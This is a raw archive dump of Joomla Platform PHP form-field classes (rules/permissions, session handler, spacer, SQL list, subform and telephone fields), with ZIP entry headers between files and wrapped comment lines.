$data[] = 'data-container="#' . $this->id .
'_container"';
$data[] = 'data-modal-element="#' . $this->id .
'_modal"';
$data[] = 'data-repeatable-element="table tbody tr"';
$data[] = 'data-bt-add="a.add"';
$data[] = 'data-bt-remove="a.remove"';
$data[] = 'data-bt-modal-open="#' . $this->id .
'_button"';
$data[] = 'data-bt-modal-close="button.close-modal"';
$data[] =
'data-bt-modal-save-data="button.save-modal-data"';
$data[] = 'data-maximum="' . $maximum .
'"';
$data[] = 'data-input="#' . $this->id .
'"';
// Hidden input, where the main value is
$value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
$str[] = '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $value
. '" class="form-field-repeatable" ' .
implode(' ', $data) . ' />';
// Add scripts
JHtml::_('bootstrap.framework');
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'jui/sortablelist.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/sortablelist.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/repeatable.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
$javascript = 'jQuery(document).ready(function($) { $("#'
. $this->id . '_table tbody").sortable(); });';
JFactory::getDocument()->addScriptDeclaration($javascript);
return implode("\n", $str);
}
}
PKKn�[hE[;9;9form/fields/rules.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Field for assigning permissions to groups for a given asset
*
* @see JAccess
* @since 1.7.0
*/
class JFormFieldRules extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Rules';
/**
* The section.
*
* @var string
* @since 3.2
*/
protected $section;
/**
* The component.
*
* @var string
* @since 3.2
*/
protected $component;
/**
* The assetField.
*
* @var string
* @since 3.2
*/
protected $assetField;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'section':
case 'component':
case 'assetField':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'section':
case 'component':
case 'assetField':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->section = $this->element['section'] ? (string)
$this->element['section'] : '';
$this->component = $this->element['component'] ?
(string) $this->element['component'] : '';
$this->assetField = $this->element['asset_field'] ?
(string) $this->element['asset_field'] : 'asset_id';
}
return $return;
}
/**
* Method to get the field input markup for Access Control Lists.
* Optionally can be associated with a specific component and section.
*
* @return string The field input markup.
*
* @since 1.7.0
* @todo: Add access check.
*/
protected function getInput()
{
JHtml::_('bootstrap.tooltip');
// Add Javascript for permission change
JHtml::_('script', 'system/permissions.js',
array('version' => 'auto', 'relative'
=> true));
// Load JavaScript message titles
JText::script('ERROR');
JText::script('WARNING');
JText::script('NOTICE');
JText::script('MESSAGE');
// Add strings for JavaScript error translations.
JText::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
JText::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
JText::script('JLIB_JS_AJAX_ERROR_OTHER');
JText::script('JLIB_JS_AJAX_ERROR_PARSE');
JText::script('JLIB_JS_AJAX_ERROR_TIMEOUT');
// Initialise some field attributes.
$section = $this->section;
$assetField = $this->assetField;
$component = empty($this->component) ? 'root.1' :
$this->component;
// Current view is global config?
$isGlobalConfig = $component === 'root.1';
// Get the actions for the asset.
$actions = JAccess::getActions($component, $section);
// Iterate over the children and add to the actions.
foreach ($this->element->children() as $el)
{
if ($el->getName() == 'action')
{
$actions[] = (object) array(
'name' => (string) $el['name'],
'title' => (string) $el['title'],
'description' => (string) $el['description'],
);
}
}
// Get the asset id.
// Note that for global configuration, com_config injects asset_id = 1
into the form.
$assetId = $this->form->getValue($assetField);
$newItem = empty($assetId) && $isGlobalConfig === false
&& $section !== 'component';
$parentAssetId = null;
// If the asset id is empty (component or new item).
if (empty($assetId))
{
// Get the component asset id as fallback.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$assetId = (int) $db->loadResult();
/**
* @to do: incorrect info
* When creating a new item (not saving) it uses the calculated
permissions from the component (item <-> component <-> global
config).
* But if we have a section too (item <-> section(s) <->
component <-> global config) this is not correct.
* Also, currently it uses the component permission, but should use the
calculated permissions for achild of the component/section.
*/
}
// If not in global config we need the parent_id asset to calculate
permissions.
if (!$isGlobalConfig)
{
// In this case we need to get the component rules too.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('parent_id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('id') . ' = ' .
$assetId);
$db->setQuery($query);
$parentAssetId = (int) $db->loadResult();
}
// Full width format.
// Get the rules for just this asset (non-recursive).
$assetRules = JAccess::getAssetRules($assetId, false, false);
// Get the available user groups.
$groups = $this->getUserGroups();
// Ajax request data.
$ajaxUri =
JRoute::_('index.php?option=com_config&task=config.store&format=json&'
. JSession::getFormToken() . '=1');
// Prepare output
$html = array();
// Description
$html[] = '<p class="rule-desc">' .
JText::_('JLIB_RULES_SETTINGS_DESC') . '</p>';
// Begin tabs
$html[] = '<div class="tabbable tabs-left"
data-ajaxuri="' . $ajaxUri . '"
id="permissions-sliders">';
// Building tab nav
$html[] = '<ul class="nav nav-tabs">';
foreach ($groups as $group)
{
// Initial Active Tab
$active = (int) $group->value === 1 ? '
class="active"' : '';
$html[] = '<li' . $active . '>';
$html[] = '<a href="#permission-' . $group->value .
'" data-toggle="tab">';
$html[] = JLayoutHelper::render('joomla.html.treeprefix',
array('level' => $group->level + 1)) . $group->text;
$html[] = '</a>';
$html[] = '</li>';
}
$html[] = '</ul>';
$html[] = '<div class="tab-content">';
// Start a row for each user group.
foreach ($groups as $group)
{
// Initial Active Pane
$active = (int) $group->value === 1 ? ' active' :
'';
$html[] = '<div class="tab-pane' . $active .
'" id="permission-' . $group->value .
'">';
$html[] = '<table class="table
table-striped">';
$html[] = '<thead>';
$html[] = '<tr>';
$html[] = '<th class="actions"
id="actions-th' . $group->value . '">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_ACTION') . '</span>';
$html[] = '</th>';
$html[] = '<th class="settings"
id="settings-th' . $group->value . '">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_SELECT_SETTING') .
'</span>';
$html[] = '</th>';
$html[] = '<th id="aclactionth' . $group->value .
'">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_CALCULATED_SETTING') .
'</span>';
$html[] = '</th>';
$html[] = '</tr>';
$html[] = '</thead>';
$html[] = '<tbody>';
// Check if this group has super user permissions
$isSuperUserGroup = JAccess::checkGroup($group->value,
'core.admin');
foreach ($actions as $action)
{
$html[] = '<tr>';
$html[] = '<td headers="actions-th' .
$group->value . '">';
$html[] = '<label for="' . $this->id .
'_' . $action->name . '_' . $group->value .
'" class="hasTooltip" title="'
. JHtml::_('tooltipText', $action->title,
$action->description) . '">';
$html[] = JText::_($action->title);
$html[] = '</label>';
$html[] = '</td>';
$html[] = '<td headers="settings-th' .
$group->value . '">';
$html[] = '<select onchange="sendPermissions.call(this,
event)" data-chosen="true" class="input-small
novalidate"'
. ' name="' . $this->name . '[' .
$action->name . '][' . $group->value . ']"'
. ' id="' . $this->id . '_' .
$action->name . '_' . $group->value . '"'
. ' title="' .
strip_tags(JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
JText::_($action->title), trim($group->text))) .
'">';
/**
* Possible values:
* null = not set means inherited
* false = denied
* true = allowed
*/
// Get the actual setting for the action for this group.
$assetRule = $newItem === false ?
$assetRules->allow($action->name, $group->value) : null;
// Build the dropdowns for the permissions sliders
// The parent group has "Not Set", all children can rightly
"Inherit" from that.
$html[] = '<option value=""' . ($assetRule ===
null ? ' selected="selected"' : '') .
'>'
. JText::_(empty($group->parent_id) && $isGlobalConfig ?
'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED') .
'</option>';
$html[] = '<option value="1"' . ($assetRule ===
true ? ' selected="selected"' : '') .
'>' . JText::_('JLIB_RULES_ALLOWED')
. '</option>';
$html[] = '<option value="0"' . ($assetRule ===
false ? ' selected="selected"' : '') .
'>' . JText::_('JLIB_RULES_DENIED')
. '</option>';
$html[] = '</select>  ';
$html[] = '<span id="icon_' . $this->id .
'_' . $action->name . '_' . $group->value .
'"' . '></span>';
$html[] = '</td>';
// Build the Calculated Settings column.
$html[] = '<td headers="aclactionth' .
$group->value . '">';
$result = array();
// Get the group, group parent id, and group global config recursive
calculated permission for the chosen action.
$inheritedGroupRule = JAccess::checkGroup((int)
$group->value, $action->name, $assetId);
$inheritedGroupParentAssetRule = !empty($parentAssetId) ?
JAccess::checkGroup($group->value, $action->name, $parentAssetId) :
null;
$inheritedParentGroupRule = !empty($group->parent_id) ?
JAccess::checkGroup($group->parent_id, $action->name, $assetId) :
null;
// Current group is a Super User group, so calculated setting is
"Allowed (Super User)".
if ($isSuperUserGroup)
{
$result['class'] = 'label label-success';
$result['text'] = '<span class="icon-lock
icon-white"></span>' .
JText::_('JLIB_RULES_ALLOWED_ADMIN');
}
// Not super user.
else
{
// First get the real recursive calculated setting and add (Inherited)
to it.
// If recursive calculated setting is "Denied" or null.
Calculated permission is "Not Allowed (Inherited)".
if ($inheritedGroupRule === null || $inheritedGroupRule === false)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
}
// If recursive calculated setting is "Allowed". Calculated
permission is "Allowed (Inherited)".
else
{
$result['class'] = 'label label-success';
$result['text'] =
JText::_('JLIB_RULES_ALLOWED_INHERITED');
}
// Second part: Overwrite the calculated permissions labels if there
is an explicit permission in the current group.
/**
* @to do: incorrect info
* If a component has a permission that doesn't exists in global
config (ex: frontend editing in com_modules) by default
* we get "Not Allowed (Inherited)" when we should get
"Not Allowed (Default)".
*/
// If there is an explicit permission "Not Allowed".
Calculated permission is "Not Allowed".
if ($assetRule === false)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED');
}
// If there is an explicit permission is "Allowed".
Calculated permission is "Allowed".
elseif ($assetRule === true)
{
$result['class'] = 'label label-success';
$result['text'] =
JText::_('JLIB_RULES_ALLOWED');
}
// Third part: Overwrite the calculated permissions labels for special
cases.
// Global configuration with "Not Set" permission.
Calculated permission is "Not Allowed (Default)".
if (empty($group->parent_id) && $isGlobalConfig === true
&& $assetRule === null)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
}
/**
* Component/Item with explicit "Denied" permission at
parent Asset (Category, Component or Global config) configuration.
* Or some parent group has an explicit "Denied".
* Calculated permission is "Not Allowed (Locked)".
*/
elseif ($inheritedGroupParentAssetRule === false ||
$inheritedParentGroupRule === false)
{
$result['class'] = 'label label-important';
$result['text'] = '<span class="icon-lock
icon-white"></span>' .
JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
}
}
$html[] = '<span class="' .
$result['class'] . '">' .
$result['text'] . '</span>';
$html[] = '</td>';
$html[] = '</tr>';
}
$html[] = '</tbody>';
$html[] = '</table></div>';
}
$html[] = '</div></div>';
$html[] = '<div class="clr"></div>';
$html[] = '<div class="alert">';
if ($section === 'component' || !$section)
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES');
}
else
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM');
}
$html[] = '</div>';
return implode("\n", $html);
}
/**
* Get a list of the user groups.
*
* @return array
*
* @since 1.7.0
*/
protected function getUserGroups()
{
$options = JHelperUsergroups::getInstance()->getAll();
foreach ($options as &$option)
{
$option->value = $option->id;
$option->text = $option->title;
}
return array_values($options);
}
}
PKKn�[�K�xxform/fields/sessionhandler.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a select list of session handler options.
*
* @since 1.7.0
*/
class JFormFieldSessionHandler extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'SessionHandler';
/**
* Method to get the session handler field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Get the options from JSession.
foreach (JSession::getStores() as $store)
{
$options[] = JHtml::_('select.option', $store,
JText::_('JLIB_FORM_VALUE_SESSION_' . $store), 'value',
'text');
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[��ķ
form/fields/spacer.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides spacer markup to be used in form layouts.
*
* @since 1.7.0
*/
class JFormFieldSpacer extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Spacer';
/**
* Method to get the field input markup for a spacer.
* The spacer does not have accept input.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
return ' ';
}
/**
* Method to get the field label markup for a spacer.
* Use the label text or name from the XML element as the spacer or
* Use a hr="true" to automatically generate plain hr markup
*
* @return string The field label markup.
*
* @since 1.7.0
*/
protected function getLabel()
{
$html = array();
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$html[] = '<span class="spacer">';
$html[] = '<span class="before"></span>';
$html[] = '<span' . $class . '>';
if ((string) $this->element['hr'] == 'true')
{
$html[] = '<hr' . $class . ' />';
}
else
{
$label = '';
// Get the label text from the XML element, defaulting to the element
name.
$text = $this->element['label'] ? (string)
$this->element['label'] : (string)
$this->element['name'];
$text = $this->translateLabel ? JText::_($text) : $text;
// Build the class for the label.
$class = !empty($this->description) ? 'hasPopover' :
'';
$class = $this->required == true ? $class . ' required' :
$class;
// Add the opening label tag and main attributes attributes.
$label .= '<label id="' . $this->id .
'-lbl" class="' . $class . '"';
// If a description is specified, use it to build a tooltip.
if (!empty($this->description))
{
JHtml::_('bootstrap.popover');
$label .= ' title="' . htmlspecialchars(trim($text,
':'), ENT_COMPAT, 'UTF-8') . '"';
$label .= ' data-content="' . htmlspecialchars(
$this->translateDescription ? JText::_($this->description) :
$this->description,
ENT_COMPAT,
'UTF-8'
) . '"';
if (JFactory::getLanguage()->isRtl())
{
$label .= ' data-placement="left"';
}
}
// Add the label text and closing tag.
$label .= '>' . $text . '</label>';
$html[] = $label;
}
$html[] = '</span>';
$html[] = '<span class="after"></span>';
$html[] = '</span>';
return implode('', $html);
}
/**
* Method to get the field title.
*
* @return string The field title.
*
* @since 1.7.0
*/
protected function getTitle()
{
return $this->getLabel();
}
/**
* Method to get a control group with label and input.
*
* @param array $options Options to be passed into the rendering of
the field
*
* @return string A string containing the html for the control group
*
* @since 3.7.3
*/
public function renderField($options = array())
{
$options['class'] = empty($options['class']) ?
'field-spacer' : $options['class'] . '
field-spacer';
return parent::renderField($options);
}
}
PKKn�[H;9L��form/fields/sql.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Supports a custom SQL select list
*
* @since 1.7.0
*/
class JFormFieldSQL extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
public $type = 'SQL';
/**
* The keyField.
*
* @var string
* @since 3.2
*/
protected $keyField;
/**
* The valueField.
*
* @var string
* @since 3.2
*/
protected $valueField;
/**
* The translate.
*
* @var boolean
* @since 3.2
*/
protected $translate = false;
/**
* The query.
*
* @var string
* @since 3.2
*/
protected $query;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'keyField':
case 'valueField':
case 'translate':
case 'query':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'keyField':
case 'valueField':
case 'translate':
case 'query':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
// Check if its using the old way
$this->query = (string) $this->element['query'];
if (empty($this->query))
{
// Get the query from the form
$query = array();
$defaults = array();
$sql_select = (string) $this->element['sql_select'];
$sql_from = (string) $this->element['sql_from'];
if ($sql_select && $sql_from)
{
$query['select'] = $sql_select;
$query['from'] = $sql_from;
$query['join'] = (string)
$this->element['sql_join'];
$query['where'] = (string)
$this->element['sql_where'];
$query['group'] = (string)
$this->element['sql_group'];
$query['order'] = (string)
$this->element['sql_order'];
// Get the filters
$filters = isset($this->element['sql_filter']) ?
explode(',', $this->element['sql_filter']) :
'';
// Get the default value for query if empty
if (is_array($filters))
{
foreach ($filters as $filter)
{
$name = "sql_default_{$filter}";
$attrib = (string) $this->element[$name];
if (!empty($attrib))
{
$defaults[$filter] = $attrib;
}
}
}
// Process the query
$this->query = $this->processQuery($query, $filters, $defaults);
}
}
$this->keyField = (string) $this->element['key_field']
?: 'value';
$this->valueField = (string)
$this->element['value_field'] ?: (string)
$this->element['name'];
$this->translate = (string) $this->element['translate']
?: false;
$this->header = (string) $this->element['header'] ?:
false;
}
return $return;
}
/**
* Method to process the query from form.
*
* @param array $conditions The conditions from the form.
* @param string $filters The columns to filter.
* @param array $defaults The defaults value to set if condition is
empty.
*
* @return JDatabaseQuery The query object.
*
* @since 3.5
*/
protected function processQuery($conditions, $filters, $defaults)
{
// Get the database object.
$db = JFactory::getDbo();
// Get the query object
$query = $db->getQuery(true);
// Select fields
$query->select($conditions['select']);
// From selected table
$query->from($conditions['from']);
// Join over the groups
if (!empty($conditions['join']))
{
$query->join('LEFT', $conditions['join']);
}
// Where condition
if (!empty($conditions['where']))
{
$query->where($conditions['where']);
}
// Group by
if (!empty($conditions['group']))
{
$query->group($conditions['group']);
}
// Process the filters
if (is_array($filters))
{
$html_filters =
JFactory::getApplication()->getUserStateFromRequest($this->context .
'.filter', 'filter', array(), 'array');
foreach ($filters as $k => $value)
{
if (!empty($html_filters[$value]))
{
$escape = $db->quote($db->escape($html_filters[$value]), false);
$query->where("{$value} = {$escape}");
}
elseif (!empty($defaults[$value]))
{
$escape = $db->quote($db->escape($defaults[$value]), false);
$query->where("{$value} = {$escape}");
}
}
}
// Add order to query
if (!empty($conditions['order']))
{
$query->order($conditions['order']);
}
return $query;
}
/**
* Method to get the custom field options.
* Use the query attribute to supply a query to generate the list.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$key = $this->keyField;
$value = $this->valueField;
$header = $this->header;
if ($this->query)
{
// Get the database object.
$db = JFactory::getDbo();
// Set the query and get the result list.
$db->setQuery($this->query);
try
{
$items = $db->loadObjectlist();
}
catch (JDatabaseExceptionExecuting $e)
{
JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'),
'error');
}
}
// Add header.
if (!empty($header))
{
$header_title = JText::_($header);
$options[] = JHtml::_('select.option', '',
$header_title);
}
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($this->translate == true)
{
$options[] = JHtml::_('select.option', $item->$key,
JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key,
$item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[��&�{${$form/fields/subform.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\Form\Form;
jimport('joomla.filesystem.path');
/**
* The Field to load the form inside current form
*
* @Example with all attributes:
* <field name="field-name" type="subform"
* formsource="path/to/form.xml" min="1"
max="3" multiple="true"
buttons="add,remove,move"
* layout="joomla.form.field.subform.repeatable-table"
groupByFieldset="false" component="com_example"
client="site"
* label="Field Label" description="Field
Description" />
*
* @since 3.6
*/
class JFormFieldSubform extends JFormField
{
/**
* The form field type.
* @var string
*/
protected $type = 'Subform';
/**
* Form source
* @var string
*/
protected $formsource;
/**
* Minimum items in repeat mode
* @var int
*/
protected $min = 0;
/**
* Maximum items in repeat mode
* @var int
*/
protected $max = 1000;
/**
* Layout to render the form
* @var string
*/
protected $layout = 'joomla.form.field.subform.default';
/**
* Whether group subform fields by it`s fieldset
* @var boolean
*/
protected $groupByFieldset = false;
/**
* Which buttons to show in miltiple mode
* @var array $buttons
*/
protected $buttons = array('add' => true, 'remove'
=> true, 'move' => true);
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.6
*/
public function __get($name)
{
switch ($name)
{
case 'formsource':
case 'min':
case 'max':
case 'layout':
case 'groupByFieldset':
case 'buttons':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.6
*/
public function __set($name, $value)
{
switch ($name)
{
case 'formsource':
$this->formsource = (string) $value;
// Add root path if we have a path to XML file
if (strrpos($this->formsource, '.xml') ===
strlen($this->formsource) - 4)
{
$this->formsource = JPath::clean(JPATH_ROOT . '/' .
$this->formsource);
}
break;
case 'min':
$this->min = (int) $value;
break;
case 'max':
if ($value)
{
$this->max = max(1, (int) $value);
}
break;
case 'groupByFieldset':
if ($value !== null)
{
$value = (string) $value;
$this->groupByFieldset = !($value === 'false' || $value
=== 'off' || $value === '0');
}
break;
case 'layout':
$this->layout = (string) $value;
// Make sure the layout is not empty.
if (!$this->layout)
{
// Set default value depend from "multiple" mode
$this->layout = !$this->multiple ?
'joomla.form.field.subform.default' :
'joomla.form.field.subform.repeatable';
}
break;
case 'buttons':
if (!$this->multiple)
{
$this->buttons = array();
break;
}
if ($value && !is_array($value))
{
$value = explode(',', (string) $value);
$value = array_fill_keys(array_filter($value), true);
}
if ($value)
{
$value = array_merge(array('add' => false,
'remove' => false, 'move' => false), $value);
$this->buttons = $value;
}
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the <field /> tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value.
*
* @return boolean True on success.
*
* @since 3.6
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
if (!parent::setup($element, $value, $group))
{
return false;
}
foreach (array('formsource', 'min', 'max',
'layout', 'groupByFieldset', 'buttons') as
$attributeName)
{
$this->__set($attributeName, $element[$attributeName]);
}
if ($this->value && is_string($this->value))
{
// Guess here is the JSON string from 'default' attribute
$this->value = json_decode($this->value, true);
}
if (!$this->formsource && $element->form)
{
// Set the formsource parameter from the content of the node
$this->formsource = $element->form->saveXML();
}
return true;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.6
*/
protected function getInput()
{
// Prepare data for renderer
$data = parent::getLayoutData();
$tmpl = null;
$control = $this->name;
try
{
$tmpl = $this->loadSubForm();
$forms = $this->loadSubFormData($tmpl);
}
catch (Exception $e)
{
return $e->getMessage();
}
$data['tmpl'] = $tmpl;
$data['forms'] = $forms;
$data['min'] = $this->min;
$data['max'] = $this->max;
$data['control'] = $control;
$data['buttons'] = $this->buttons;
$data['fieldname'] = $this->fieldname;
$data['groupByFieldset'] = $this->groupByFieldset;
/**
* For each rendering process of a subform element, we want to have a
* separate unique subform id present to could distinguish the
eventhandlers
* regarding adding/moving/removing rows from nested subforms from their
parents.
*/
static $unique_subform_id = 0;
$data['unique_subform_id'] = ('sr-' .
($unique_subform_id++));
// Prepare renderer
$renderer = $this->getRenderer($this->layout);
// Allow to define some JLayout options as attribute of the element
if ($this->element['component'])
{
$renderer->setComponent((string)
$this->element['component']);
}
if ($this->element['client'])
{
$renderer->setClient((string) $this->element['client']);
}
// Render
$html = $renderer->render($data);
// Add hidden input on front of the subform inputs, in multiple mode
// for allow to submit an empty value
if ($this->multiple)
{
$html = '<input name="' . $this->name .
'" type="hidden" value="" />' .
$html;
}
return $html;
}
/**
* Method to get the name used for the field input tag.
*
* @param string $fieldName The field element name.
*
* @return string The name to be used for the field input tag.
*
* @since 3.6
*/
protected function getName($fieldName)
{
$name = '';
// If there is a form control set for the attached form add it first.
if ($this->formControl)
{
$name .= $this->formControl;
}
// If the field is in a group add the group control to the field name.
if ($this->group)
{
// If we already have a name segment add the group control as another
level.
$groups = explode('.', $this->group);
if ($name)
{
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
else
{
$name .= array_shift($groups);
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
}
// If we already have a name segment add the field name as another level.
if ($name)
{
$name .= '[' . $fieldName . ']';
}
else
{
$name .= $fieldName;
}
return $name;
}
/**
* Loads the form instance for the subform.
*
* @return Form The form instance.
*
* @throws InvalidArgumentException if no form provided.
* @throws RuntimeException if the form could not be loaded.
*
* @since 3.9.7
*/
public function loadSubForm()
{
$control = $this->name;
if ($this->multiple)
{
$control .= '[' . $this->fieldname . 'X]';
}
// Prepare the form template
$formname = 'subform.' . str_replace(array('jform[',
'[', ']'), array('', '.',
''), $this->name);
$tmpl = Form::getInstance($formname, $this->formsource,
array('control' => $control));
return $tmpl;
}
/**
* Binds given data to the subform and its elements.
*
* @param Form &$subForm Form instance of the subform.
*
* @return Form[] Array of Form instances for the rows.
*
* @since 3.9.7
*/
private function loadSubFormData(Form &$subForm)
{
$value = $this->value ? (array) $this->value : array();
// Simple form, just bind the data and return one row.
if (!$this->multiple)
{
$subForm->bind($value);
return array($subForm);
}
// Multiple rows possible: Construct array and bind values to their
respective forms.
$forms = array();
$value = array_values($value);
// Show as many rows as we have values, but at least min and at most max.
$c = max($this->min, min(count($value), $this->max));
for ($i = 0; $i < $c; $i++)
{
$control = $this->name . '[' . $this->fieldname . $i .
']';
$itemForm = Form::getInstance($subForm->getName() . $i,
$this->formsource, array('control' => $control));
if (!empty($value[$i]))
{
$itemForm->bind($value[$i]);
}
$forms[] = $itemForm;
}
return $forms;
}
}
PKKn�[��K�[[form/fields/tel.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Supports a text field telephone numbers.
*
* @link http://www.w3.org/TR/html-markup/input.tel.html
* @see JFormRuleTel for telephone number validation
* @see JHtmlTel for rendering of telephone numbers
* @since 1.7.0
*/
class JFormFieldTel extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Tel';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7.0
*/
protected $layout = 'joomla.form.field.tel';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$maxLength = !empty($this->maxLength) ? '
maxlength="' . $this->maxLength . '"' :
'';
$extraData = array(
'maxLength' => $maxLength,
);
return array_merge($data, $extraData);
}
}
PKKn�[�pc��form/fields/text.phpnu�[���<?php
/**
* @package Joomla.Platform
